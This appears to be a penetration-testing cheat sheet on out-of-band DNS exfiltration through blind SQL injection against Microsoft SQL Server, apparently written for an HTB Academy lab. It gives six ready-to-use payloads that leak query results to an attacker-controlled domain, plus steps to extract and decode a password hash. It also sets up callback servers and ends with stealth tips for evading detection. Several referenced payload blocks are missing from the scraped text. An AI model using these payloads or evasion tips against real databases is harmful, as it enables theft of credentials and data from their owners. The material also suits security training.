OOB DNS Exfiltration
Theory
DNS exfiltration = target server sends DNS request to attacker-controlled domain with data encoded as subdomain.
Example: Extract secret β Server queries 736563726574.evil.com
Why Use OOB DNS?
Very slow
Fast (1 request)
Inaccurate (network issues)
Reliable
Sometimes impossible
Works when time-based fails
β οΈ Always test for DNS exfiltration - you may miss blind vulnerabilities otherwise!
MSSQL DNS Exfiltration Techniques
All require different permissions. Replace SELECT 1234 with your query and YOUR.DOMAIN with your domain.
xp_dirtree
DECLARE @T varchar(1024);SELECT @T=(SELECT 1234);EXEC('master..xp_dirtree "\\'+@T+'.YOUR.DOMAIN\\x"');
xp_fileexist
DECLARE @T VARCHAR(1024);SELECT @T=(SELECT 1234);EXEC('master..xp_fileexist "\\'+@T+'.YOUR.DOMAIN\\x"');
xp_subdirs
DECLARE @T VARCHAR(1024);SELECT @T=(SELECT 1234);EXEC('master..xp_subdirs "\\'+@T+'.YOUR.DOMAIN\\x"');
dm_os_file_exists
DECLARE @T VARCHAR(1024);SELECT @T=(SELECT 1234);SELECT * FROM sys.dm_os_file_exists('\\'+@T+'.YOUR.DOMAIN\x');
fn_trace_gettable
DECLARE @T VARCHAR(1024);SELECT @T=(SELECT 1234);SELECT * FROM fn_trace_gettable('\\'+@T+'.YOUR.DOMAIN\x.trc',DEFAULT);
fn_get_audit_file
DECLARE @T VARCHAR(1024);SELECT @T=(SELECT 1234);SELECT * FROM fn_get_audit_file('\\'+@T+'.YOUR.DOMAIN\',DEFAULT,DEFAULT);
DNS Limitations
Character Restrictions
Only letters and numbers allowed in domain names
Labels (between dots) max 63 characters
Total domain max 253 characters
Solution: Encode and Split
This:
Converts data to hex (
VARBINARYβ hex string)Splits into @A (first 63 chars) and @B (next 63 chars)
Complete Payload
Tool 1: Interactsh
Web Interface
Visit https://app.interactsh.com
Wait for domain to generate
Copy domain to clipboard
Payload Example
CLI Version
Tool 2: Burp Collaborator
Setup
Burp β Burp Collaborator Client
Click Copy to clipboard
Payload (Two Requests)
Burp Collaborator doesn't allow @A.@B.domain, so send separately:
Tool 3: Custom DNS Server
Using Technitium DNS
Access dashboard on port 5380 (admin:admin)
Zones β Add Zone
Enter domain name, select Primary Zone
Add A record:
Name:
@(wildcard)Type:
AIP: Your attack machine IP
Check Logs
Logs β Query Logs β Query
Practical Example
Step 1: Test Payload
Response: taken β
(query executed)
Check DNS logs for 1234.blindsqli.academy.htb
Step 2: Extract Password Hash
Step 3: Decode Result
DNS log shows: 243279313024...
Decode from hex β Password hash!
URL Encoded Payload
For web injection, URL encode the payload:
Original:
URL Encoded:
Decoding Exfiltrated Data
CyberChef Recipe
Remove dots separating subdomains
From Hex decode
OOB DNS Beyond SQLi
Works with other blind vulnerabilities:
Blind XXE (XML External Entity)
Blind Command Injection
Blind SSRF
Quick Reference
MSSQL Functions
xp_dirtree
Low
xp_fileexist
Low
xp_subdirs
Low
fn_trace_gettable
Higher
fn_get_audit_file
Higher
Encoding Template
Splitting Template
Tools
Interactsh
Web/CLI
Free
Burp Collaborator
Burp Pro
Paid
Custom DNS
Self-hosted
Free
Stealth Tips
Use inconspicuous domain names (e.g.,
analytics.company.com)Avoid suspicious patterns that trigger alerts
Zone names are case-insensitive
Last updated